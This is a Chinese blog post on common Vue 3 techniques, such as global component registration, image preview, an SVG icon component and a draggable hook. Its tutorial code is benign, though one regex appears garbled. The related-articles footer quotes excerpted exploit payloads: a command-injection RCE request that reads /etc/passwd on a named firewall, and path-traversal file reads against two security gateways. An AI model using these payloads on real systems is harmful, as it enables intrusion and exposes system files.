vue3项目常用功能分享

news2024/11/18 19:34:22

Vue3常用功能分享

本文主要分享一下在使用vue3开发项目时的一些常用功能

一、自动注册全局组件

自动注册components目录下所有vue组件并以组件的文件名为组件的名称

// components/index.ts

import { type App, defineAsyncComponent } from 'vue'
const components = Object.entries(import.meta.glob('./**/*.vue'))
const preFix = 'Es'
export default {
  // use 的时候
  install: (app: App) => {
    components.forEach(([key, comp]) => {
      // 得到组件的名称
      const name = getCompName(comp.name || key)
      app.component(preFix + name, defineAsyncComponent(comp as any))
    })
  }
}

function getCompName(key: string) {
  const nameReg = //(\w+).vue/
  return nameReg.test(key) ? key.match(nameReg)![1] : key
}
  1. 使用 import.meta.glob 动态导入所有以 .vue 结尾的文件,并将它们作为键值对的形式存储在 components 变量中。
  2. install 方法中,通过遍历 components 数组,对每个组件进行注册
  3. 通过 comp.name 获取组件的名称,如果名称不存在,则使用组件的路径 key。然后,使用 defineAsyncComponent 将组件定义为异步组件
  4. getCompName 函数用于从组件路径中提取组件的名称。使用正则对组件路径进行匹配,提取出路径中最后一个斜杠后的单词作为组件名称

使用这个插件:

import { createApp } from 'vue'
import App from './App.vue'

import MyComponents from './components'

createApp(App).use(MyComponents).mount('#app')

自动注册全局组件虽然很方便,但在使用时缺少了ts类型提示,下面介绍一下为全局组件添加类型提示

为全局组件添加类型提示

这需要我们自己编写.d.ts声明文件

// src/typings/component.d.ts
export {}

declare module 'vue' {
  export interface GlobalComponents {
    EsDialog: typeof import('../components/Dialog.vue')['default']
  }
}

在这里插入图片描述

二、函数式图片预览

图片预览是一个比较常用的功能,封装成函数调用可以简化我们使用的方式

基于 element-plus 的 ElImageViewer 组件:对于有类似的功能都可以使用这种方式,例如我们想使用函数调用的方式弹窗

// utils/preview.ts
import { createVNode, render } from 'vue'
import { ElImageViewer, ImageViewerProps } from 'element-plus'

type PreviewOption = Partial<ImageViewerProps>

export function preview(option: PreviewOption) {
  const container = document.createElement('div')
  let vm = createVNode(ElImageViewer, {
    ...option,
    onClose() {
      render(null, container)
    }
  })

  // 将组件渲染成真实节点
  render(vm, container)
  document.body.appendChild(container.firstElementChild!)
}
  1. preview 函数接受一个 option 参数,它是 PreviewOption(ImageViewerProps 类型的部分可选类型) 类型的对象,用于配置图片预览的选项。
  2. 函数内部,首先创建了一个 div 元素作为容器,用于渲染预览组件。
  3. 使用 createVNode 创建了一个 ElImageViewer 组件实例 vm
  4. 使用 render 方法将 vm 渲染为真实的节点,并将其挂载到之前创建的容器中,最后添加到body页面上
  5. 传入的 props中 监听 close 事件移除节点

调用

preview({
  urlList: ['https://fuss10.elemecdn.com/0/6f/e35ff375812e6b0020b6b4e8f9583jpeg.jpeg'],
  initialIndex: 0
})

三、手动封装 svgIcon 组件

这节主要是vangle组件库的icon组件封装方式的介绍,为想自己手动封装svgIcon组件的朋友可以作个参考

以下下是代码实现

  • Icon.vue
<template>
  <i class="es-icon" :style="style" v-html="icon"></i>
</template>

<script lang="ts" setup>
import { computed, CSSProperties } from 'vue'
import { IconProps, getIcon } from './icon'

const props = defineProps(IconProps)

const icon = computed(() => getIcon(props.name))
const style = computed<CSSProperties>(() => {
  if (!props.size && !props.color) return {}

  return {
    fontSize: typeof props.size === 'string' ? props.size : `${props.size}px`,
    '--color': props.color,
  }
})
</script>

<style scoped lang="scss">
.es-icon {
  --color: inherit;
  height: 1em;
  width: 1em;
  line-height: 1em;
  display: inline-flex;
  justify-content: center;
  align-items: center;
  position: relative;
  fill: currentColor;
  color: var(--color);
  font-size: inherit;
  font-style: normal;
  svg {
    height: 1em;
    width: 1em;
  }
}
</style>
  • 以下是getIcon的实现 icon.ts
export const svgs = import.meta.glob('./svg/*.svg', { eager: true, as: 'raw' })
export const IconProps = {
  name: String,
  color: String,
  size: [String, Number]
}

export const getIcon = (name?: string) => {
  if (!name) return ''
  return svgs[`./svg/${name}.svg`]
}

使用 import.meta.glob 动态导入svg目录下所有以 .svg 结尾的文件,as: 'raw' 表示导入的文件内容以原始字符串形式保存

getIcon 根据name获取svg的内容

  • 直接使用
<es-icon name="add-location" />
<es-icon name="add-location" color="pink" />
<es-icon name="add-location" color="pink" :size="30" />

四、封装拖拽钩子函数

import { onBeforeUnmount, onMounted, watchEffect, Ref } from 'vue'

export const useDraggable = (
  targetRef: Ref<HTMLElement | undefined>,
  dragRef: Ref<HTMLElement | undefined>,
  draggable: Ref<boolean>
) => {
  // 保存偏移量
  let transform = {
    offsetX: 0,
    offsetY: 0,
  }

  const onMousedown = (e: MouseEvent) => {
    const downX = e.clientX
    const downY = e.clientY
    const { offsetX, offsetY } = transform

    // 获取拖拽目标的位置和尺寸信息
    const targetRect = targetRef.value!.getBoundingClientRect()
    const targetTop = targetRect.top
    const targetWidth = targetRect.width
    const targetHeight = targetRect.height

     // 计算拖拽目标在页面中的可移动范围
    const clientWidth = document.documentElement.clientWidth
    const clientHeight = document.documentElement.clientHeight

    const minLeft = -targetRect.left + offsetX
    const minTop = -targetTop + offsetY
    const maxLeft = clientWidth - targetRect.left - targetWidth + offsetX
    const maxTop = clientHeight - targetTop - targetHeight + offsetY

    const onMousemove = (e: MouseEvent) => {
      // 计算移动后的位置
      /**
       * offsetX + e.clientX - downX: 初始偏移量 offsetX 加上 e.clientX - downX 移动的距离得到拖拽元素在水平方向上的新位置。
       * Math.max(offsetX + e.clientX - downX, minLeft) 确保新位置大于等于最小可移动位置 minLeft,即不超出左边界
       * Math.min(..., maxLeft) 确保新位置小于等于最大可移动位置 maxLeft,即不超出右边界。这样做的目的是防止拖拽元素移出指定的范围。
       */
      const moveX = Math.min(
        Math.max(offsetX + e.clientX - downX, minLeft),
        maxLeft
      )

      // 和上面同理
      const moveY = Math.min(
        Math.max(offsetY + e.clientY - downY, minTop),
        maxTop
      )
      
      // 更新偏移量和元素位置
      transform = {
        offsetX: moveX,
        offsetY: moveY,
      }
      targetRef.value!.style.transform = `translate(${moveX}px, ${moveY}px)`
    }

    const onMouseup = () => {
      // 移除事件监听
      document.removeEventListener('mousemove', onMousemove)
      document.removeEventListener('mouseup', onMouseup)
    }

    // 监听鼠标移动和鼠标抬起事件
    document.addEventListener('mousemove', onMousemove)
    document.addEventListener('mouseup', onMouseup)
  }

  const onDraggable = () => {
    if (dragRef.value && targetRef.value) {
      dragRef.value.addEventListener('mousedown', onMousedown)
    }
  }

  const offDraggable = () => {
    if (dragRef.value && targetRef.value) {
      dragRef.value.removeEventListener('mousedown', onMousedown)
    }
  }

  onMounted(() => {
    watchEffect(() => {
      if (draggable.value) {
        onDraggable()
      } else {
        offDraggable()
      }
    })
  })

  onBeforeUnmount(() => {
    offDraggable()
  })
}

useDraggable 的函数,接受三个参数:

targetRef:拖拽目标Ref dragRef:拖拽触发区域Ref draggable: 开启/关闭拖拽

在函数内部定义了一个变量 transform,用于保存拖拽过程中的偏移量。

  1. 在 onMousedown 函数中,首先记录下鼠标按下时的坐标 downX 和 downY,以及当前的偏移量 offsetX 和 offsetY
  2. 获取拖拽目标元素的位置和尺寸信息,计算出拖拽目标在页面中可移动的范围。
  3. 移动时 onMousemove 中,根据鼠标移动的位置计算出新的偏移量 moveX 和 moveY,并更新 transform 对象和拖拽目标元素的位置
  4. 最后,定义了一个 onMouseup 函数,当鼠标抬起时执行的事件处理函数。在函数内部,移除鼠标移动和鼠标抬起事件的监听。

五、vscode 中 vue3 代码片段

针对 Vue 3.2+ 的代码片段模板,用于在 VSCode 中快速生成 Vue 组件的模板代码

在项目的 .vscode 目录下创建一个名为 vue3.2.code-snippets 的文件,它是一个 JSON 格式的代码片段文件

{
  "Vue3.2+快速生成模板": {
    "prefix": "Vue3.2+",
    "body": [
      "<template>",
      "\t<div>\n",
      "\t</div>",
      "</template>\n",
      "<script setup lang='ts'>",
      "</script>\n",
      "<style lang='scss' scoped>\n",
      "</style>",
      "$2"
    ],
    "description": "Vue3.2+"
  }
}

prefix:定义了在代码编辑器中触发该代码片段的前缀,这里设定为 “Vue3.2+” body:定义了代码片段的主体部分,它是一个数组,包含多行模板代码 description:对该代码片段的描述

在vue文件中输入 “Vue3.2+”(会有自动提示) 按下 Tab 键,就会自动插入这段模板代码。你可以根据需要自行修改和完善这个模板。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1200145.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode—剑指OfferII LCR 019.验证回文串II【简单】

2023每日刷题&#xff08;二十七&#xff09; Leetcode—剑指OfferII LCR 019.验证回文串II 实现代码 class Solution { public:bool judgeFunc(string s, int left, int right) {while(left < right) {if(s[left] ! s[right]) {return false;}left;right--;}return true;…

【数据结构】拓扑序列求法

概念不多说了&#xff0c;有疑问的搜一下&#xff0c;这里直接放求法&#xff1a; 找到入度为0的节点输出并删除该节点&#xff0c;并删除与该点链接的边重复第一步 例子 输出a&#xff0c;删除a输出b&#xff0c;删除b输出c&#xff0c;删除c 最终结果为abcdef 注意 拓扑排…

WorkPlus IM即时通讯软件:私有化部署、安全加密、信创适配

WorkPlus IM即时通讯软件是一款具备私有化部署、安全加密和信创适配功能的高效沟通工具。下面我们将详细介绍WorkPlus IM的功能和特点。 WorkPlus支持私有化部署&#xff0c;这意味着企业可以完全掌控数据的存储与传输。企业可以选择将该软件部署在自己的本地服务器上&#xff…

文件上传 [ACTF2020 新生赛]Upload1

打开题目&#xff0c;发现是一道文件上传题目 随便上传个一句话木马上去 发现网站前端有白名单限制&#xff0c;只能上传含有jpg&#xff0c;png&#xff0c;gif的后缀文件 最开始我想到的做法是先上传htaccess文件&#xff0c;bp修改文件头&#xff0c;上传成功后然后再上传以…

Linux文件缓冲区

文章目录 1. 缓冲区现象2. 用户级和系统级缓冲区3. 缓冲区刷新4. 为什么要有缓冲区5. 文件打印的全缓冲6. 模拟实现C语言文件标准库 本章gitee代码仓库&#xff1a;重定向、模拟C语言文件标准库 1. 缓冲区现象 我们这里分别调用了4个差不多的函数&#xff0c;但是结果是有一定差…

Sprint Boot 学习路线 5

Spring MVC Spring MVC是Spring框架的一部分&#xff0c;是一个Web应用程序框架。它旨在使用Model-View-Controller&#xff08;MVC&#xff09;设计模式轻松构建Web应用程序。 在Spring MVC中&#xff0c;应用程序被分为三个主要组件&#xff1a;Model、View和Controller。M…

深入理解强化学习——多臂赌博机:知识总结

分类目录&#xff1a;《深入理解强化学习》总目录 我们在《深入理解强化学习——多臂赌博机》系列文章中介绍了几种平衡试探和开发的简单方法。 ϵ − \epsilon- ϵ−贪心方法在一小段时间内进行随机的动作选择&#xff0c;而UCB方法虽然采用确定的动作选择&#xff0c;却可以通…

同一个Unity项目打开两个Unity Editor实例

特殊情况下&#xff0c;同一个项目需要同时打开两个编辑器做测试&#xff0c;如多人在线游戏&#xff0c;或者有通信功能的时候就有这样的需求。同时也为了方便调试和观察日志。并且修改的是同一份代码。 命令介绍&#xff1a; 实现思路&#xff1a; 使用 mklink 命令 分别创建…

Flowable 外部表单

内置表单需要在每个节点中去配置&#xff0c;当如果多个节点使用同一套表单属性就要配置多次比较麻烦&#xff0c;修改的时候也要修改多次&#xff0c;外部表单可以定义一次&#xff0c;然后其它节点都去引用同一个表单属性。 外部表单需要定义一个.form后缀的文件。 外部表单…

快速查看Linux系统占用多的文件夹

背景 租用了一台云服务器&#xff0c;存储很快就满了&#xff0c;想看下哪部分占用多&#xff0c;然后进行清理 工具 使用ncdu工具 sudo apt install ncdu效果

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

【友提】2023年“思维100”编程比赛开始报名,名额有限报名抓紧

根据官方昨天发布的通知&#xff0c;2023年上海市“科学小公民”实践展示活动之“思维100”STEM应用能力编程活动&#xff08;秋季&#xff09;开始报名了&#xff0c;为便于大家了解&#xff0c;六分成长为大家整理关键信息如下。为便于叙述&#xff0c;该活动简称为思维100编…

【Go入门】struct类型

【Go入门】struct类型 struct Go语言中&#xff0c;也和C或者其他语言一样&#xff0c;我们可以声明新的类型&#xff0c;作为其它类型的属性或字段的容器。例如&#xff0c;我们可以创建一个自定义类型person代表一个人的实体。这个实体拥有属性&#xff1a;姓名和年龄。这样…

吃透 Spring 系列—AOP部分

目录 ◆ AOP 简介 - AOP的概念 - AOP思想的实现方案 - 模拟AOP的基础代码 - AOP相关概念 ◆ 基于xml配置的AOP - xml方式AOP快速入门 - xml方式AOP配置详解 - xml方式AOP原理剖析 ◆ 基于注解配置的AOP - 注解方式AOP基本使用 - 注解方式AOP配置详解 - 注解…

【C++】C++的介绍及其发展史

初识C 一、什么是C&#xff0c;为什么会出现C二、C的发展史三、C的重要性3.1 语言的使用广泛度3.2 在工作领域 四、C的学习路径 及 书籍推荐 一、什么是C&#xff0c;为什么会出现C C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。 对于复杂的问题&#xff…

网神下一代极速防火墙任意文件读取漏洞

访问漏洞url&#xff1a; ​​/?gpki_file_download&filename../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0c;万分感谢。 免责声明&#xff1a;由于传播或利用此文所提供的信息、技术或方法而造…

mysql8安装和驱动jar包下载

方式一&#xff1a;基于docker安装 下拉镜像 docker pull mysql:8.0.21 启动镜像 docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORDhadoop -d mysql:8.0.21 启动成功后&#xff0c;进入容器内部拷贝配置文件&#xff0c;到宿主主机 docker cp mysql:/etc/mysql…

如何在 Python 中执行 MySQL 结果限制和分页查询

Python MySQL 限制结果 限制结果数量 示例 1: 获取您自己的 Python 服务器 选择 “customers” 表中的前 5 条记录&#xff1a; import mysql.connectormydb mysql.connector.connect(host"localhost",user"您的用户名",password"您的密码"…

边缘分布式机器学习

目录 通信机制同步Synchronous异步Asynchronous半同步/延时同步通信的拓扑结构基于迭代式MapReduce的通信&#xff08;同步模式&#xff09;基于MPI之AllReduce的通信&#xff08;同步模式&#xff09;AllReduce有很多变种 基于参数服务器的通信&#xff08;多为异步&#xff0…

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件 构造payload访问漏洞url&#xff1a; ​​/admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&…